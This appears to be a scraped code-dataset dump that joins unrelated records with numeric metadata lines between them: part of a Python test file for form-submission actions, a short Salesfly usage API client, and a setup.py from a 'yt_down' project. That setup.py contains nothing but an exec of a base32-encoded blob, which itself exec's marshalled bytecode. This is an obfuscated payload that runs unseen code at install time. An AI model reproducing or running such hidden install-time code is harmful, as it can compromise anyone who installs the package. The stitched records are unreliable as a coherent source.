pardot_url='http://www.example.com/some/submission/path/', form_url='/the/form/', form_session=form_session, spam_control=spam_control, sender=sender, ) assert mock_action_class().save.call_count == 1 assert mock_action_class().save.call_args == mock.call(form.cleaned_data) @pytest.mark.parametrize('classes', ( [forms.GovNotifyLetterActionMixin, Form], [forms.GovNotifyLetterAPIForm] )) def test_gov_notify_letter_action( classes, mock_action_class, form_session, spam_control, sender, ): class TestForm(*classes): action_class = mock_action_class data = { 'template_id': '123456', } form = TestForm(data) assert form.is_valid() form.save( template_id=data['template_id'], form_url='/the/form/', form_session=form_session, spam_control=spam_control, sender=sender, ) assert mock_action_class.call_count == 1 assert mock_action_class.call_args == mock.call( template_id=data['template_id'], form_url='/the/form/', form_session=form_session, spam_control=spam_control, sender=sender, ) assert mock_action_class().save.call_count == 1 assert mock_action_class().save.call_args == mock.call(form.cleaned_data)
25.870801
77
0.652617
1,176
10,012
5.261905
0.095238
0.09777
0.109082
0.095023
0.841629
0.801067
0.795895
0.795895
0.795895
0.795895
0
0.0057
0.229025
10,012
386
78
25.937824
0.795958
0
0
0.77377
0
0
0.102277
0
0
0
0
0
0.121311
1
0.059016
false
0
0.013115
0.02623
0.177049
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ba59ef48a0ede2caedfc19a9d0fef2fc5b040f1c
199
py
Python
salesfly/usage_api.py
salesfly/salesfly-python
525c9bb75039f3ad55e4d4b464bf007bcc685ba4
[ "MIT" ]
null
null
null
salesfly/usage_api.py
salesfly/salesfly-python
525c9bb75039f3ad55e4d4b464bf007bcc685ba4
[ "MIT" ]
null
null
null
salesfly/usage_api.py
salesfly/salesfly-python
525c9bb75039f3ad55e4d4b464bf007bcc685ba4
[ "MIT" ]
null
null
null
class UsageAPI(object): """ Usage API """ def __init__(self, rest_client): self.rest_client = rest_client def get(self): return self.rest_client.get("/v1/usage")
19.9
48
0.603015
25
199
4.48
0.52
0.357143
0.375
0
0
0
0
0
0
0
0
0.006849
0.266332
199
9
49
22.111111
0.760274
0.045226
0
0
0
0
0.051724
0
0
0
0
0
0
1
0.4
false
0
0
0.2
0.8
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
7
ba7da5834ff3473f27c3bdfd1462e86136feef96
13,864
py
Python
setup.py
threat0/yt_down
f73b8856431c79e2b2f077c54cc15570d33bebbf
[ "Apache-2.0" ]
null
null
null
setup.py
threat0/yt_down
f73b8856431c79e2b2f077c54cc15570d33bebbf
[ "Apache-2.0" ]
null
null
null
setup.py
threat0/yt_down
f73b8856431c79e2b2f077c54cc15570d33bebbf
[ "Apache-2.0" ]
null
null
null
# Script compilé par Faxel # Twitter : https://twitter.com/faxelhs import base64 from base64 import * exec(base64.b32decode("EMQFGY3SNFYHIIDDN5WXA2LMYOUSA4DBOIQEMYLYMVWAUIZAKR3WS5DUMVZCAORANB2HI4DTHIXS65DXNF2HIZLSFZRW63JPMZQXQZLMNBZQU2LNOBXXE5BANVQXE43IMFWAUZLYMVRSQ3LBOJZWQYLMFZWG6YLEOMUGEJ24PBSTGXDYGAYFY6BQGBOHQMBQLR4DAMC4PAYDAXDYGAYFY6BQGBOHQMBQLR4DAMC4PAYDAXDYGAYFY6BQGBOHQMBQLR4DAMC4PAYDAXDYGAYFY6BQHBOHQMBQLR4DAMC4PAYDAQC4PAYDAXDYGAYFY6BQGBZTMXDYGAYFY6BQGBOHQMBQMROHQMBQMROHQMBRNROHQMBQLJOHQMBQMROHQMBQMROHQMBRNROHQMBRLJOHQMBRMROHQMBQMROHQMBRNROHQMBSLJOHQMBSMVOHQMBTMVOHQMBSLR4GCMC4PAYDIZK4PAYDAXDYMEYFY6BQGVSVY6BQGFOHQYJQLR4DANTELR4DAMS4PBQTCXDYGAYVY6DBGFOHQMBRLR4GCMK4PAYDCXDYHAZVY6BQGFOHQMBRLR4DAMDELR4DAMKTLR4DAMBJLR4DAM24PBSTSXDYGAYFY6BQGBOHQMBQLR4DAMCOONOHQMJULR4DCZS4PAYDAXDYGAYDOOBZINCEIM2BGU4TQQZRINBTONZVG5CEGRBWINBUMRKDGQ4TSMJVIE2UKMSCIFATEOBYII2UCOCEIFBUCNKGGYZDAQJZGI2UIN2CGAZDQOBXIRBTIOBQIFBDSOJUGIYDQQJZGQ2DMNZRGU3EGRCBHFCTEQRSHE3UIM2EIRBTGRKBIVCUINKFIU3TQMJXGUYDIMRXIYYTQMBYHBBTSMBQGEZDSMKBGM3DCOJSINATGNBQIMYDEMRXGZBUGMRQHAYDCMKDGQ3UMMRWGEYEKNCEII2DCN2FIZATEN2DGAZDMM2GGBBUMQZRGU2DAM2GGA2DOMSCIM2TON2EGRBUGRCCGEYDOMJRIQZTQMBTGJCDGNJTGU2UCRRYIU2TOQKGIFAUIRRVHEZTKMJVIE2UKNKEGMYEIQSGHEZUMMCGGNDEMNBYGU2TCNCBIE2TAQRVIFATSNCFGM2UGMSEIFBDEMSEG5BUCOKBIM4EMNKCGIZEKNZSIEZTMQ2CGA2UGMZZGRDDGNKBIE3UMNKGGI4TONZVGFATGNSDIQZDCQ2DIQ2DGQRZGQYEEQSBHAYDSNZZHEYTCNSDIFCEIQRUGU4EKRKBGFCEIRJVGVCUCNSDIRDDONJRGY2UCRRUGI3UEMJWGE2EERKDHBBECQKFGJBECQKDGJDECNJZINDDONJRGVDDEMBRIRATQQRTHFCUIQJTIZCDGMBWIUYDOMKEIEYDGQRSGA3UMOBWGNCTIMZXG42DEQSFHEZUKRKBGJBUMNBSIJCTQQRQIVCDERCEHEYDGRRUIJDDORBQIJCDSMBQIZCDEN2EG42DGRSFGRBEERJZGEYDORBQIVDDEM2EIY2DAMBXIQYUKRRSIJCDMQZRIYZDKNJXII2TCQRSIEZEMRBXHBBDMQZQG5BUKNZUGUYTOMKCIY3EMMRYGZBUMRRQIQ3TKRJZGQZTKNJSHEYEMQJZGRATORBZIU3DSQKCINDEIRBVG5BUCMBXGU4DGRRTIQZDQQJYIU4ECNZSIZBDAMBTGQ4EKM2GINBEKOKGGI4EMNBRII3EGMBYIQZDCN2BGFCTMMJQIQ2DGQ2GIYYTGRJVGVCTGRKFHFDDKNJSHEZDARRSG43TSM2DGVATKRBSGVDDIRJVIZBDKOBUIE3DMRSDGA4DONSBHEZUGRRUIYYTSMBVII4EGRRTGUYTMNJRGQ3ECRCFGU3TIQKBGU2DOQRYIUZTGMZZGVCDMNZXIEYEGM2FIZDDORRQGFCEEQZQHA2DSQJQINBUCQRVGRBEIQKBIYYUGMJUGA2TSRBVIE4DQNRZHBCEIQJSGI4EKQRVHBATMMCBGYYDGMRWGYZDEQ2EGBCDEMSCIQ2TERRVIEZTKQ2BGVBUCMSDGVCUIMRSGNBUIRRTGIZUGM2CGUYUGMJWIU2UMRBSGUZUMNRQINCTSQKDGJBEEMBQIEZTIOBRIU4UERCGIYZDAMZWIVBEENZTIRDDQRJYIM2TSMJYHA3DONJXIUYUKNRXGU3TQQRWIE4EMQZWGBBDKMBZIE4UERSBIQ3TOMZTIZBEGRJTIZCUGOJRIIYTKNJVIEZDIRJYGM4UMOJRGUZDGOBQIVBTSMZSIFBTMNSCG43TENCBIY4UKRJYIIZEEMSBGUZEEQSBIEZEIQKCGQ4DSOJSHBCUERRXGYYTARRQGI3DGMZVGE3UKNCCGFCUKOKBGI4UKOCEGU3DMMRSII2TKOCFIE4ECNZUGIYDAQ2BHAYEEQJYGE3TANRVGFCUKNJTGZCTANZSINBUCNKEIFCTQNSGIU4TKQZYGA4DMQ2BGAZUGRJXGU3TCOKBII2DKNKBIUYDSN2CGQ2DQQRVGIZEINJWIIZEGOBRHFBDSMBUGRBTMOKCGYYUKMCGGUZDCMSEIE3ECMCCIUYDOQSFGQ2TSNKFIY4DENZSGEZUIOJUHA3TEMRRGI2UMQRQIY3TCNZVGQYEMNRVIZAUCNBYGMZEINKBIVAUENBQIZCUMNBYIEYTMMRYHAYUEQKBIM2UKNJXGA2TOQZWGQ2DKMCGII2DOOJXIRCDKQJQGNATSMSCIZAUGNKDHA3UENRWGU3UIQKGG4ZDKRSCIM4DIQJQGZBEINKBGQ4DMMRYGYYUCRRQGIZEKRRUGFAUEOJTGYZDAMJWHE4DSQRSHFCTSOCGIQ2UINZRIVAUEMRTHBDEINKFGU2DOMZZHE4ECRJZIVCUERSEIRCUGQKGG42TMRJWGI3EGNCFG44UMRCGGI4DCNKBGMYUGQRXIRBTGOJRGZCTSNJVIU3DOMRZGQZUERCFHAZTIOJSIZAUKMSBG5DEIOKFGM4EKMBVGZDDCNBVIUYTERKGIM3UKQJQGE2EGNZQHFCDENJSGNCDEMKEGJDDQOBYIMZEEMKFGZBTSMBWIE2DORKBGYZEIQRZIU2TIM2EHBBEKMRQIVDDQM2EGYZDIRRUINCDQOJTGAYTONJQHBDDORJVGIYEGMCFGEZUGNSDINBUMRJYIZBTOQJWHBCUERSFIVAUGRCGIJCUENJXIVDEEQZWGUZTOQSFIUYTIQRTG44TMRJYIFCDEOJYIYZUEMKDHAZDOOKDGVDECRBSGUYTKRCGIRCEMRSGGFBTIRJUIQ2EIMKBHFCTGNBXGFCDOMRYIEZEIOJQGY2EGNBYHFATIN2BG5BUKQZYHA2DGQJWIFCDINJVGYZDKRKCII3TGRJYGM4DOMRUGBCDMMZWGNCTGMCFGE2EEMKFGQ4UGQSDHBBTCRCBIUZDAMZYGNATGNKFIE4TANCEIU3DIQKDHE3DSNJQIY3EKM2BG5BDSMBTIY3TIOBXHAYTQNBUIE3DSOCBIVCTMMBYINCUMOCCGNDDKNKCG5DEEQZXIVDEENSGIE2EGMSEIZBTEMRTGJCDGOBWHE4DSOKGII2EERCEGNDDGMZTGY4DMRCDGI3UIRKCGNATGRKCG4YUMQKDIRDEMRJXHE2UCNSFIM2TQRBXGUZDSN2BIU4EENJRGE3EKMZRIJATCNKCG44TQMZQGQ4TMRRXIQYTCNJTIQ3TQQKGII2DCNCBIZAUIRRTGUYECQZZGYZEEMZZIFBEMRKFHAYEEQSFGVBTCNBZG5CUERJRGFCEIOBQGIYDEM2FGJDDMOKGIUZDEMZVGA3EKMJXII3UIOBZGYYTMRCDIU4TKNRTGU4TMRBZGEYTGNZWIU3EIRRTHE3EGNZZII4UIQJVII3TORJRHFCUMNSBIQZUKQRXIMZDARKEG42DIQRUG42TCNBYGU3EMNKDIJDDQOKEHA2EERRQGEYDSMSEGEZDIMRQIE2EIRRTGY2ECMRXIEZDOOJWHA2EGNRYGM2EINJYHE4TONSDG42DKN2GIQ3EMMSBGQ3EIQZXGNBEENBUHE3DQOBUIQ2EENRUIQ3UIMZTHE4UKMSGGZCUCRSBIVCDERSBGUYDON2BG5DDEMJSGRCTQOCFHA2DGRJUGFDDGNRVHFAUIRJZGFBTQNSBGZCEGQRZIUZEMNRSGY2EMMSEGQ3DGQZXGI3UKM2BHE2TONBVG4ZTIQ2DGMYTONRZIJATSNRZGUYUEMCBGQ2DONBVIE2EEN2CIRDDCNBVIEZDOOKFGNAUGMJRGRCDGRSCIQZUCQZVHEZDARRYIE4UCOCCIZCDSM2FGM2UCQ2FII4UKNBYIQ3UIMSDGJBEINJUGVCECQ2DGVCDEMSEIFDDEQZWII3DQNSFGFBDSQRXGQ4UCMBXGY2TMOJYGZCUGNKFIE2DQRKEG5DEMQRRGU4DMOBVGE2UEQKGII2DMOBSIQ3TEQZRGBBDORCFGIZTENJSIYZUGMRQGU2TMMRXGM2UGQRSG43DCNRQGU3TMRBZIY3TCRBRGA2TGNBWHA3EIMRZII4EKMSCHFCTGRJZGA4EKOCDHEYDSNKCGY2DSNJTGA3DAOKDGU2DCOCGGEZEERCDIFCTANJUHFDDGRJRGZCDIQ2DHE2DEQSCGVATQNKDHFAUCQZTGE4TCQKFGY4TEQZQIFATKOJWIU2DAMRUGFCTQOJSG44UKMRYII3EEOJTGM2UCNSBG42TGRRRGFCUKMCDGNATINJYGEYUCNRYIU4DEQZQGVCTARCBGI2DOOJQIFCUENBZGZCTENBXHEZEKQZZIYZTIOKEIU4TKRJUGY3DSMRRG42DIQKFGIZTKNRWGE3TSOCCGMZUKMKCINDDEQSCGMZDMRRSHAZEERJRG44TOOKCIE4UEQ2EIE3EKNZZHAZTGNZWII4EGNKDIM4EIOBTIQ4TEMRWIZBEEOJXGNCDSRSGHBDDANSFGQZDOOBZIQYTONSDIZATOMCDIQZDGRJSIQZUGMBRGQ2UKRCDGE2EMMJXHAZEENRSII2DQN2FGRDEGQZTII2UKQKDGNBDKQ2BGE2TQQSDIYZUINKDGZBDINJSIVCTCQSFIIYDEOKFIU4DSMZWIRBTCMZZGNAUIQRYHAYTAOKEIUYEGQJZIRCDIRKGGZCTMQJYHBDEENCBGEZUKRCBHA3DCQKDHE3UKQRXGZATERBQGE3DGMBXGRBTINSCIRDDSNJWG5DEIMBYGY3UCMJUGUYDSRRQGVCTSMRQGBDDKN2DHEZUGNCBGAZDMOKBGIZTMMBWGEYDOMJWGU2TGQZUIVDDIOJYHA4EMMRQIUZEIMKBHE2EGNBZHEYEMNZUGIZUENBQIEYTQOCGGE2DEQRTG4YDIMCBGQ2EMM2BGE4UGRKEGNBTIOKBGRDEINKFIY2DAQKEIYZDKNKCGE3DSNJZGI2TIM2CHBDDKNJRIFCTANRYIU3UMMJQGE2UGMCEHE4UCMJVG5CTCM2DGQYEGNJXGNBTKQRXGYZDGMRVGVDEMMRSIM3TGQZTGIZTEOCCIU4DGQZSHE3UKQZQGM3EMQRSIY2UGQRYG5CDCRCCHE3DMNJVIU4TKQZTHE4EEQRUGJCUKNJRIQZDKNZTGA2TQRBQGIYDSOCEHEYTGQJYGI4EEMKFIU3DOMBQIVBDAMCCIYYEGRSBGAYEKMJRIFBTAMBWIMYDSM2CGE2DIQSCHFDDAMBZIMYDGRRYIFCEGMBRGBDDAQSCGAYEKN2BIY3ECRSFHA3TSMBXG42DCRSEGI3TIMJUIVCDINCGGAZDMQZUGIZUIOCFGJDDIMCGIQ3DEOJQGE3UMNJSGRCTQQJSIM2TMNJWGVBDONBSIJBDONZSII2DENJTHE4ECQRQGVCECMRTIJBUMNRWGJATMMZTG5ATMN2DGIZUMNRYG5CDGMJQHA2EGOCDGM4UKQRZIZDEMMRSIYZTGMJTGM2TSMZYIU3DAOBXIZBDIQZZIRBDIQ2GII2DENRZIMZDEMJZGEZUCQZWGVDEGMCFIQ2TGMRXGIZEMNJUHBATIOBWHEYUMQJUGFATINKFHBBEINCGG4YUKOKGGI4DGNRXGFCDORKCINCTGNZVII2TKRKFHE4TMMKBIYYTMRBYHFCTIQRZGI4TSNRTGY3DQMZZGZBTOOJTIM4TSNBVGM3TCNBXIU3DAN2DGQ3TMQJZIVCEINZTINCDOQSFGU2DMNJYG5BTSNBWIE4DCRSBGEYTEMSFG42TINZQGU3EKN2EGNATMQSCIIZTKMBYII3TAQ2EGQ2DCNJRGBCUINBQGM4DGNCDHA4DOMRWGRATMNJSGE3UKNKDGMYUCQRVGIYDCQJTGNDEGQZQIFBDOMJQIM2DIQJVGMYDANBVIY3TONBZHA2UGMBZGEZUCQRUHA2TKRSGHA2EEOJQIJBTQOJWIZDEIOBVGI2EMNBWHBDEIMCFIM2DGRRUIQ2TGOCCIZDDMMZWHBATEN2GGEZUKQRWGAYTANSBIE3ECQ2GGM2EMRKBHA3DENRUGM2DOOJTIIYTSMRZHEYEGNKCHAYTKMBQIVCTENCDHBBTGRCGIZCUGQZQHBAUENSBINBUIRJXHEYTSOJWHBCUKOBXIRATQQJXIUYTCNKFII2DAMKEIZCUEM2BGMYEGNKDGA4TQRJSG5DDGOBQIEZTQRRRIZBDCMKGIM3EKQJYIY2TGRBUIYZTARRWHE3DGQZVGYZTMNCEINBDGQJTGVDDOMSBHAZTIQJWIE4UCMBQGJCTIQJXGAZTOQZQGNCDCMSEIMYEENZQHFDDANCGG4YDGM2DGIYEGMJTIIYDAN2FGQ3DQMRXG4YDEQSDGRBDQMRZIYYDKNZYGUYDQMRXG4YDGQSDGQ3TQMSGG4YDEQSDGJDDQMZTGE2UGRCEG5DDGRSEIVBDSMRRIQ4DGOJWGNCDSQJQINDEKMKFHE4DQNKGHA2UIMRQGE3TCNCFGEZDANBQGUZDCMZWIY4TKOBTHAZEKMSBIVCUENCBGEYDIRCEGM3UINCBGU2UMQZVGJBDANSBINBUMMRXIJBDIRRQGA2DONSFGM4TSN2FGA3TQMBQIE2TCOCDG5CEMMZXIUZUMOBUHA3TCQRVIQYTKOCDIMYEKQ2FIYYDMRRWGBDDQRRZINCTMNSCGI4TMOBYHAYDARCFGY4DKMZSGUZEENJQHAYTQMBVGFBEKQ2DGE4TEMJXGA3EKMJSGU4TMMZQGM2DGOJUGE2TEOBXIU3TOMJVG4ZTENRYGFATKOCEGJATIRCFIE3TERJUGZBEMRJRIVDDEQSFHA2DCQRXIM4EGMZSIJAUIMBWGAZDIRCFGYYDKQ2GIFCUIOCBGRBUCN2DHEYECNJTHBCUGMBWIQ4UMMZUHFBTAQZRIM4TOQKCHBBTMRSDIMZUMNKDGE2TGMRQGBATIOBUIVBUINBTHAZTANBZIYYTGRJUHEYDIRSDIFCEINRRGBCEKNZZIE2DKNBZIE4TARRZIU3DONJVGI3DEQZRHA3TGMJYII4DINRWHEZDOMZTIVCUGNBXHA3UINZQIM3DOMZSIU3TCOBRIU4DIMRQHBCDGOBZGFCTSNBZGQ4EEMCCGM3EMQRXGRBDMRJSHA2TMRJSGBDDOOJZGFDEENRWIM4DOQJVG5CECQKGGY2TKRBWIQZDEN2FHFDDAQKFIU2UGNZXIQ3UCNBRGEZUGOCEIRCEKQJWGQYDQNZXIRCDSQRWGA2DGNJSHE2DCOJRGY3EIM2GIFCTAQRUGU4ECOBWGRATKNBUGFBEIRRYIZCUMNRXGM3TENCBG42DEMCFGZBDEN2BIQYUIQ2BGI3DARCCHFCDQMRQGU4ECRRRIRDDARRWGFCTKMJSIVBDAMBTIYYDCNZQG42EMQRRIQ4EINJUGQ2DKMRWGM2TON2EGM2DMM2EGFDEGM2FHE4DMRJUIQZTQOCBG43ECMJQHFDEKMBZGE2TSMRXGU3EERSBGNCDEMRZGQZDMQKEGNBTCMZZGVCTENBUGE2DQQSDGRBDAMJXGNCUIRBYHE4TIMZSGYYTEOKFHFCDCNKFGJDEKNJUHEYTSMZZGM3TCMSGGRBDMQ2FG4ZDKNZVIFDDMNJXGU3DGOCFHFBEINBZGUYDIN2CIM3UIMZYIUZTSN2DIE3TGMBSGRCTORKBIU3TKM2DII2DCM2BIYYDGM2FGQ2DONRSIJDDGMSFGE3DAMRQGQ2EEMCCGAYDKOBWHAYTKOBQIJAUGNBSGE3EEQZZGRATANJXGA4TMN2CIU3EMMSEIIYUMQKDGE3TARCGIQ3TMNKGIIYEMQRWIVCEERJRG43DENRQIIZDQMBUGE2TCQSBHFCTOOCBGVATCMSCIVCEMRKGIY3DSRRTGRBDGRCDGI3DOOCBGJCEKMBSGE2EGRRQIM4DGMZSIEZDMRKBGY4DSNRVGZATGQZSGQ3TOMKGHFCDIOJZG4ZDARRVIIYEGQRYGU2TAOJWGY4DKMRWGY4TCOCDIM4DSRBUGZATINRVIQ3EMOKGGNBEGRCCHFBTONCCIY4TIOBQIY3TSMZVGMZDSNZWHA3TKMJWINBUERBRIZCTSNJQHBATAQZYG4YDKNJWIE2DKQRZGQ2DMNBWIMYDSN2GIM2TMRKCHBATQOBTIU2DAQZTIY4DSNSCGBAUKRRZIM2ECNSFGJATCRJXIFBECQJSGE2TEQRUIFCUKRCEIZATEQKBIE4TCQKEHBCEENKEGYYDOOJYIJBTEOBZGZBEGMBQGI3EEOJTGBCEGRKDHEZTMRRYGNDDGNRQIVCEEM2BIQ4EKMBXIEZUIQRTIE2DIMZWHA2DSNJXIMYTSMSDIU4DSRRTIUYEGRBWIQ3TANKCIM4DQN2GGYZECOKGIQ4DEQRQHBDECNJWG42EENCBIVCTARJSIRCDQMRRIM2UIQSDIJBDMRCCGZCUCMRUIRAUCQKBGU3UMQ2GGJBTKNJTGFATCQRRGNBEEMJXGYZTQRSBIQ3TSMCFGNCTQNRYGQZTEQSEGU4TGNJYIE4UKRRTIM4TCOJVGVATCMBVGE2TMQSCG42UKMRSG4YDANCEIJCDKRRYGBCTGQ2FG44UGNRRIQZTANRWGNBTGQ2CGM3EIRKCG42DENSDGU4EIMZRINBUGM2CGUYDAQZSIEZTIQRTHA3EIMRQGQ3TIQZYG43DGNCEIJAUMRSFIIZDEQ2BGFBDMQSEGJATMNRVIY4TIMSBGEZDMQ2CHA3TORCGIVCTMNSGGQYTSMKGGIZTONZQIE3UIRJVG5BTIOJRIVBTCNSEIEYTIRRWGNCTQOJZIVCEINRRGRBDSQ2CGZBTIMSGIEYDQOJUHAZDMMRZIQZUCRSDINAUMQ2CGFBEIOBZIUZTEN2EGBAUCQJZGM4UMQZUGA2DEMZQGQZUKRBVGFBTKNJRIM2DSOJVGI2DIN2EGE2UEQ2CG4YUINBTIVDEGMJUGI3ECNZTGE2DCOCGHBCUERSEGUYUKQJSHBATQMKDII2ECNZSGFBEINJYHA2TAMCEGUYDOMJTIRCUCMSCIEZDSQ2BIFBEMMBRIEYUMRJXIEZTERRVHA3UEMBRHBBEMQRRIZAUMQSDIY3EIQKCGNDDAQZRHA3DQMKFGJDDGRCFIZCUCNZTIUYEMRKEIZCDKNBQGFCEMMRWIRAUEQZTGJBDERCFIFBDAOJYIE4UGMKFIU2DIMCEIY3DENBWIFBDAMJXGE2EIOJVIQYEGMKFGQYDSMKGIRCDKMBWGZAUMMBTG44TSMKBIVBTIRRWHAYUINBYIQ2DEMBYIU4EKMRQIM3UIMKFIIYUEQKBIMYTCRBYHEYUCM2DIZBDINBWIFCDAMBZG5CEMQRVIFBTQOBYGE3TONSEGY4DQMJTIE4TINSFINBEEMBUIMYUCQRYGU2DCRJXGZBDKOBSIEZUMMZTGNCEKRCEGRCDQRCDIU4UIOBXIU4ECNRYII2ECQZTIJBDKOBZIIZDGRJXGY3UGQSDIE2DIN2GIE2TKQRWGU2EKRKBII3TCNZWHE4TOMKDIU3DQQZVIEZUCQZVGIYUKQZYIUYDMQSBGE2TKQRVHAZUCNJZGIZDMM2DGU4EKOBQHA4EKN2BHBCDOQRRGU3DANRUHBDEMQRWGIYTCRCCGU3EEN2FHEYUCQRWIQ2EENZVIZDEIM2GIYYDKQZTIJCTQRCCG42EMRCCIY2TKOBVG5BDORKCIIYECMZXHFCDORBZIIYUCOJXIJDDQRBWG4YTCNCGIE4DMOJYIUZTMNRZGFAUMRJUIUYDOOKEHAZDKRBXIU4DIRJSG5DDIMSEGYZDSMKBG5BTKMBXGNDEGNJXIZCUERSGGM3DMQKBGVCDGNSEGUZEINBXGVBDONJYIIZEKRKCHE3DKRRWIM2UEQRXIQ2EIRRUGEZUINBSGBCDGQ2DIJBECMSGIJBDIOKGHFCDKQKFGI3DGNZUHE2UINJWHA2UCM2GGMYDSRJUIU4EKOBVIMYDSQ2DGQ2EGMRQII4TEN2FGI4DERJTIRCTQRJYGI3DQMJYGYYTEQJTIZDDAMRXGIYUGRSEGY2UMM2FHAYEKNSFIQZEMNBRGNCTSOBXGVAUMM2BHE3EKMBXIM2TGMBZGE3TQRBWGIZUENBUIE2DMMSBG43DIMBUGY2DMMJSIE3TOQJUGRATQMCCHAYDINJTIUYTEMBXGNATANBXGQYDIMBZIRDDORBRGJDDSNBWGFAUMQZZHA4DQMSEGQ2TSQ2BGNATGMRWIIYUMMKDGVCUIQRSIIYTGNCDHEYTGNZRG4ZDONZUG42EKQZWGNDDERSGGA3UGMZTGEZTCRRWII3DERJSHEZDCRJZIJBUEMCEHBCDENBXGZDEMMBXIU2EEOJVG44UEOCDIE2DENRUIE4UEQRSIYYEEMJVGYYTMQZWGRDDONSBHFCDGMRTGU4DOOBVGVBEIOKGGFCUCNSBIEZTGQJQHA2UMMKFIYYEGOJRIMYTCNSFIRATARJTIEYUEMRXIU3DSOBZIZCDCQJUG43EEOBSGE4DGRKEGM3DSOCBIVBUMQ2GHA2DONKCGQ4DQOJXGQ3EMQJUII3TANBRGE3UCQ2CIJCDSMKEIU3UCNSGHE2DOMCCIY4ECRCDHFDEIQKEHBDDQMCGGJBEENBTG5DEKMJTHBBDSOBVG4YEMNJSGNBTORCCGE2TKQ2FINCTQRKGII3DOQZSGU3TQMCCIVATMRCCIQZEGRSGIY3UGOJTIE3UIRJSIZDDOMRVIEZTQN2DGJATGRBSIY4DGMJZGRATGQ2GG5DEEMBTIQ3EGRRVHAYUGNSCGBCTGMCFGE4TMQSDGMZTKOBZII4EKMRWG4ZEEOCDGMZECRJUHE4DONCDII2EKMRRIE4TKNZQGZCDQNJVGFBTEOBVGM3TGMBUG5CEENZQIJCEIRJYIE3EENRTHBBTGMRSIVCDQQKFGQ4UGMBSGVCUMMZXGBATONJUG42UGRBZGUZUIRRSGFDDOOBVGRCDCQJTIQZTIMJXGMZTSOBXGE2TEQSFHBDEMOKDIUYTEMRTGY3TKOJYGVBUGMCGGMZUERSDGYZTQMRTGY4DQNKDGA2DEOBSIU2DKQKEGQYTGQJXGYYUIOKGGUZDSNRYGMZUMOKEIYZDSNRXG44UMQRVIY2TGQJWIUZDIQRYGNATMOCCHAZDSMRRHE2EERRXGJCTEMJRIRCUMNZXGM4DKOJRG4ZDEM2GIQZTEQZTGEYEIMJZHFCTQNCFGQ2UMNJQGIZEMNRSGQZTEMSDGQ3UMOBXIIYTEOJZGE2UERBTGZBEKOCDIY4UMMJZGYZDMMRXIJCTSMSGGEYEMMRXGU3TGMKDG44TEQKCHE3UKNBSIFBTMOKGHBCUCRRWGBDDQNBSHAZDENJZG44DQNJWGMZTIRJTGQ2EENRWGYZDSNRYGRATQOBRG5ATKNKCG43TOMJVGYZTEQRUIQ3TONZRIE2EEMKBHE2DOQJVIVBDMOCEIZBDEN2EHFBEGQRWIZDDMOKDIRBUGRRQII3DKNSFHFCTSMJZIEYEKOJTIE3EIQSDIE3TEOJTIZCDMQJRHAZEMRBZGUYTCQJQGEZTMNJYGYYEIQ2CIU3EGOBTGAZEMNZYG5CUIMSBGU4TEMRVGZCUGMSCIUYUKNKBGIZDKRKFGE3EIRRUHBCUIOCGIVBTAMJUGVAUCMKCIE4TGMZZGIYDCOJRIVCTSOJRIE3EEQJZGU4TAMKEHA4UMMBQGRATERJYGY2UMMCCGBDEINZXGAZEKM2DHA2DMRJZIYZEGQRZIM4TIQZYIM3DMN2EG4YDARJUIM3DIMSEIFBTKNRYHFBTORKEGM4UIQRSGU4EKMBVGM3DQN2EG5CEMMSGII2DOQRYGEYDOOKCIVBUINBVGRDDMQJXIFBEENZQGBBTKNRZGE3UKRRTGBBDCNBRGVBTERJUHFCTGMKBIMZUMOBWIJBDQOCDGUYTIOBRIVCTSMKCIRBDEQJWGE4TEMCFGZCTMNCCGU2UKNJXIM2EINJZGFCEKRJRIU3DAOBZIJDEKNCEGQ4UMRKGGYYTQOKGGZCEGNJRIM4UIRBZGIZEKMBXGJAUGRKEGAZTOQRVGUYDINJYHBBTQOCDINCDSNJZIM3UEMSEIRCDSRBZIIYECNSGINCUKRCEIYYUMQJYHFAUINSFIYZTIRJUGM3UGMJSIYZDQQZTHFATIM2GIJBEINKBG5BDMQSDGBATGQZQIZBEKOCGIU2DEQSBGU4DGQZXII3TGNKGHA4EGM2EIU3TONRRHA4EGQJXGUZEKOCEIJCDINCCGY4UGNZZGFAUIM2FIUYTIOKCGFBDKMCEGUZTSM2CGFAUKRKEGQZDCOBVG4YDKOCGGQ3DKQ2BGAZTQMKFGBCDGMKFG5CUGNKBGY4EMQSDGA4TOMZWHE3ECQRZGY2UEMBRHA3UKQJRGFBEKRJVIQZEGMJZHAZEIMBUGQ3TAOBSIZBTCMBUGU3TEOJUGA3DONCFIY4EKQRVGE2EKRCDGRCUGNSBIMZDIRBYGZBDIN2BIEZTCNRTIE3DGQJSGRBTMRJQIQ2TONKEGU4UERRTIY4DGOJQGRBEENBQGM4DORCCIM2EMMJQIFBTOOBTGZCTGNBSIJBTKQRYINBUMNKFIM2UIOJYGI3TARSCHBDDMNJRIE3TMMZSGY2TGQJWGQZDCRSDHFDEKQ2FIM3EGNJUGM4EERBVHA3DCRJSGZCTEMRVGI2TSNRUIIZEGNJUIE3UGOJUGRBEEMBVIIZDCQRYGM2DKQSCGU2UIRJWG5ATGMJSIY3TORRSGZBUGQZWIZBTKN2CIYYDMRBVINATKOCGGJBDOQJVHEZTKMZUGMZTMRSBHA3DMRCFGJBTCOBYGY3DCMKBIY4TGRKGGRBDSNZUIIZUIN2EIM3DKMCFHFBDIM2FGYYEERJWGFCTQMCGIFBUGOKEIU4DQNJRGVBTKRSEIE4ECOKCIU4TIRRYGY3TINKGGU3UMMBRIJCUCOBXIEZEMKK4PAYDOXDYMRQVY6BQGR5GY2LCLR4GIYK4PAYDMYTBONSTMNC4PBSGCXDYGA3W2YLSONUGC3C4PBSGCXDYGA2GK6DFMNOHQZDBLR4DANLMN5QWI424PBSGCXDOMRSWG33NOBZGK43TLR4GIYK4ORRDCNTEMVRW6ZDFLR4GCOK4PAYDA4S4OROHQMBQLR4DAMC4PAYDA4S4OROHQMBQLR4DAMC4PAYDAXDYMZQVY6BQGM6HEPS4PBSGCXDYGA4DY3LPMR2WYZJ6LR4DAM24PAYDAXDYGAYFY6BQGBZVY6BQGJOHQMBQLR4DAMC4PAYDAXDYGE4FY6BQGETSSKI="))
2,772.8
13,762
0.997692
18
13,864
768.444444
0.777778
0
0
0
0
0
0
0
0
0
0
0.069319
0.001082
13,864
5
13,762
2,772.8
0.929453
0.004472
